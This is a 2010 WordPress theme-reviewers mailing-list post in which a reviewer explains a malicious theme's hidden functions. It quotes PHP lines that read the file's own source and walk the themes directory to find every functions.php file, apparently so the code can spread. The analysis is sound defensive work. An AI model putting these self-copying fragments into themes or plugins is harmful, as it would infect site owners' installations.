[theme-reviewers] Emergency Call

Otto otto at ottodestruct.com
Fri Sep 3 14:06:52 UTC 2010


Okay, I can give you a quickie on how it works.

There's a function called _check_isactive_widget which is hooked to
admin_head later in the file.

The first thing this function does is this:
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);

That reads its own file, and uses a couple of functions lower down
that makes it find itself. It's getting everything in the second set
of <?...?> tags.

Then it calls this:
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes")
+ 6)));

The _get_allwidgetcont is really a directory traverser, which goes
through the themes directory and looks for any functions.php files
that it can find.



More information about the theme-reviewers mailing list